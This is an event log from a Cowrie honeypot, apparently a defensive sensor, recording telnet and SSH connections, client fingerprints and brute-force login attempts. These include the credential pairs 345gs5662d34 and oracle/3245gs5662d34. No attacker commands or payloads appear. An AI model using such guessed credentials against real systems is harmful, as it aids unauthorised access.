{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.059483Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10822033882141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.065517Z","src_ip":"69.6.225.50","session":"98e1ad7e3ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93172550201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.070567Z","src_ip":"69.6.225.50","session":"5711bc84b8df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680429697036743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.084959Z","src_ip":"69.6.225.50","session":"0f817cd16ee2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121366500854492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.096578Z","src_ip":"69.6.225.50","session":"9ceff884d4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466801404953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.169861Z","src_ip":"69.6.225.50","session":"c9ed33c3a422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":35340,"dst_ip":"159.203.135.109","dst_port":22,"session":"38c8f5cddf26","protocol":"ssh","message":"New connection: 68.183.236.1:35340 (159.203.135.109:22) [session: 38c8f5cddf26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.287393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.292601Z","src_ip":"68.183.236.1","session":"38c8f5cddf26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13864755630493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.297956Z","src_ip":"69.6.225.50","session":"6bf60331816e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.532561Z","src_ip":"68.183.236.1","session":"38c8f5cddf26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47192,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf567c83e2c9","protocol":"telnet","message":"New connection: 144.79.218.12:47192 (10.17.0.5:23) [session: bf567c83e2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:44.675251Z"}
{"eventid":"cowrie.session.closed","duration":30.530391216278076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.061054Z","src_ip":"69.6.225.50","session":"13551f5894d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48138,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f6ba61978d7","protocol":"telnet","message":"New connection: 69.6.225.50:48138 (159.203.135.109:23) [session: 2f6ba61978d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.153188Z"}
{"eventid":"cowrie.session.closed","duration":30.675549268722534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.187402Z","src_ip":"69.6.225.50","session":"ac205b38608f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837047576904297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.196544Z","src_ip":"69.6.225.50","session":"f9fb5655f2c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47194,"dst_ip":"10.17.0.5","dst_port":23,"session":"da571a69d033","protocol":"telnet","message":"New connection: 144.79.218.12:47194 (10.17.0.5:23) [session: da571a69d033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.218744Z"}
{"eventid":"cowrie.session.closed","duration":30.95161724090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.269265Z","src_ip":"69.6.225.50","session":"96b00f669840","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.519323Z","src_ip":"68.183.236.1","session":"38c8f5cddf26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.547148942947388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.526716Z","src_ip":"69.6.225.50","session":"0336e11632a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48142,"dst_ip":"159.203.135.109","dst_port":23,"session":"61fdd826dad8","protocol":"telnet","message":"New connection: 69.6.225.50:48142 (159.203.135.109:23) [session: 61fdd826dad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.553020Z"}
{"eventid":"cowrie.session.closed","duration":30.847318172454834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.632694Z","src_ip":"69.6.225.50","session":"e9556225c451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73663139343262,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:45.936813Z","src_ip":"144.79.218.12","session":"727cd884544a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87438201904297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:46.085125Z","src_ip":"69.6.225.50","session":"5704500367b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499878406524658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:46.105629Z","src_ip":"69.6.225.50","session":"b860b29f4cbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":41144,"dst_ip":"10.17.0.5","dst_port":23,"session":"635613335d9b","protocol":"telnet","message":"New connection: 5.61.90.139:41144 (10.17.0.5:23) [session: 635613335d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:46.321945Z"}
{"eventid":"cowrie.session.closed","duration":31.11311435699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:46.390043Z","src_ip":"69.6.225.50","session":"bd3cf956bac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47206,"dst_ip":"10.17.0.5","dst_port":23,"session":"612ac568ad18","protocol":"telnet","message":"New connection: 144.79.218.12:47206 (10.17.0.5:23) [session: 612ac568ad18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:46.395348Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:46.761307Z","src_ip":"68.183.236.1","session":"38c8f5cddf26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":35354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a3232badd0d","protocol":"ssh","message":"New connection: 68.183.236.1:35354 (159.203.135.109:22) [session: 2a3232badd0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.010662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.014889Z","src_ip":"68.183.236.1","session":"2a3232badd0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53742527961731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.054638Z","src_ip":"69.6.225.50","session":"c9a925d01a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096935510635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.060003Z","src_ip":"69.6.225.50","session":"047025d09f29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.122206687927246,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.108470Z","src_ip":"144.79.218.12","session":"9a68b663c4ec","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.260679Z","src_ip":"68.183.236.1","session":"2a3232badd0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":41188,"dst_ip":"10.17.0.5","dst_port":23,"session":"919f9b236a45","protocol":"telnet","message":"New connection: 5.61.90.139:41188 (10.17.0.5:23) [session: 919f9b236a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.462312Z"}
{"eventid":"cowrie.session.closed","duration":30.92435050010681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.698322Z","src_ip":"69.6.225.50","session":"c922326133ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.66965126991272,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.963706Z","src_ip":"144.79.218.12","session":"93b47c73ab85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.296581983566284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:47.973565Z","src_ip":"69.6.225.50","session":"d99c88be6057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54614,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e90fb7e0633","protocol":"telnet","message":"New connection: 69.6.225.50:54614 (159.203.135.109:23) [session: 7e90fb7e0633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.046538Z"}
{"eventid":"cowrie.session.closed","duration":30.710864305496216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.083763Z","src_ip":"69.6.225.50","session":"c04b0cc70410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54618,"dst_ip":"159.203.135.109","dst_port":23,"session":"cffef674b409","protocol":"telnet","message":"New connection: 69.6.225.50:54618 (159.203.135.109:23) [session: cffef674b409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.214571Z"}
{"eventid":"cowrie.session.closed","duration":30.7060329914093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.248246Z","src_ip":"69.6.225.50","session":"22eb227d1db2","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.274606Z","src_ip":"68.183.236.1","session":"2a3232badd0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54626,"dst_ip":"159.203.135.109","dst_port":23,"session":"595431355fb4","protocol":"telnet","message":"New connection: 69.6.225.50:54626 (159.203.135.109:23) [session: 595431355fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.436462Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.515343Z","src_ip":"68.183.236.1","session":"83cbb8c40761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.523346Z","src_ip":"68.183.236.1","session":"2a3232badd0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.61963176727295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.528812Z","src_ip":"69.6.225.50","session":"c20288aec2f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54638,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be0bcd22a5c","protocol":"telnet","message":"New connection: 69.6.225.50:54638 (159.203.135.109:23) [session: 3be0bcd22a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.602931Z"}
{"eventid":"cowrie.session.closed","duration":38.22179698944092,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.616894Z","src_ip":"144.79.218.12","session":"c566ff79e94b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f095c0374e","protocol":"telnet","message":"New connection: 69.6.225.50:54640 (159.203.135.109:23) [session: e6f095c0374e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.721478Z"}
{"eventid":"cowrie.session.closed","duration":31.37916851043701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.874732Z","src_ip":"69.6.225.50","session":"5f1e558c0b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54650,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9097ec25d06","protocol":"telnet","message":"New connection: 69.6.225.50:54650 (159.203.135.109:23) [session: a9097ec25d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.975541Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54654,"dst_ip":"159.203.135.109","dst_port":23,"session":"537e537ef464","protocol":"telnet","message":"New connection: 69.6.225.50:54654 (159.203.135.109:23) [session: 537e537ef464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:48.995817Z"}
{"eventid":"cowrie.session.closed","duration":36.000690937042236,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.029053Z","src_ip":"144.79.218.12","session":"3cecafba4581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88346529006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.096071Z","src_ip":"69.6.225.50","session":"0b03906f7f00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54668,"dst_ip":"159.203.135.109","dst_port":23,"session":"783080e380ec","protocol":"telnet","message":"New connection: 69.6.225.50:54668 (159.203.135.109:23) [session: 783080e380ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.126203Z"}
{"eventid":"cowrie.session.closed","duration":31.176986694335938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.227730Z","src_ip":"69.6.225.50","session":"42fdfec84e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038835525512695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.280352Z","src_ip":"69.6.225.50","session":"f9a69a0e09a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80828547477722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.394023Z","src_ip":"69.6.225.50","session":"1f70034ce24d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":41226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb4cdcecb4f","protocol":"telnet","message":"New connection: 5.61.90.139:41226 (10.17.0.5:23) [session: 5bb4cdcecb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.452895Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54694,"dst_ip":"159.203.135.109","dst_port":23,"session":"3679da182da5","protocol":"telnet","message":"New connection: 69.6.225.50:54694 (159.203.135.109:23) [session: 3679da182da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.561564Z"}
{"eventid":"cowrie.session.closed","duration":31.76762819290161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.814378Z","src_ip":"69.6.225.50","session":"bba1efca9963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54710,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9c4d54ed673","protocol":"telnet","message":"New connection: 69.6.225.50:54710 (159.203.135.109:23) [session: d9c4d54ed673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.857080Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54714,"dst_ip":"159.203.135.109","dst_port":23,"session":"285e14cf79f4","protocol":"telnet","message":"New connection: 69.6.225.50:54714 (159.203.135.109:23) [session: 285e14cf79f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:49.958347Z"}
{"eventid":"cowrie.session.closed","duration":30.933101892471313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.231594Z","src_ip":"69.6.225.50","session":"3f8452e51e11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836105585098267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.246536Z","src_ip":"69.6.225.50","session":"5732541272c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54732,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa701a65ca0","protocol":"telnet","message":"New connection: 69.6.225.50:54732 (159.203.135.109:23) [session: 4fa701a65ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.387620Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54736,"dst_ip":"159.203.135.109","dst_port":23,"session":"02dc2e328868","protocol":"telnet","message":"New connection: 69.6.225.50:54736 (159.203.135.109:23) [session: 02dc2e328868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.441460Z"}
{"eventid":"cowrie.session.closed","duration":30.990760326385498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.504939Z","src_ip":"69.6.225.50","session":"5a2198a8bd78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"7326dbd8a0e6","protocol":"telnet","message":"New connection: 144.79.218.12:49796 (10.17.0.5:23) [session: 7326dbd8a0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.509858Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"e29708463a77","protocol":"telnet","message":"New connection: 69.6.225.50:54748 (159.203.135.109:23) [session: e29708463a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.637603Z"}
{"eventid":"cowrie.session.closed","duration":32.962212324142456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:50.934646Z","src_ip":"144.79.218.12","session":"6f8043a3d051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.211339712142944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.057218Z","src_ip":"69.6.225.50","session":"c8494318dfc3","protocol":"telnet"}
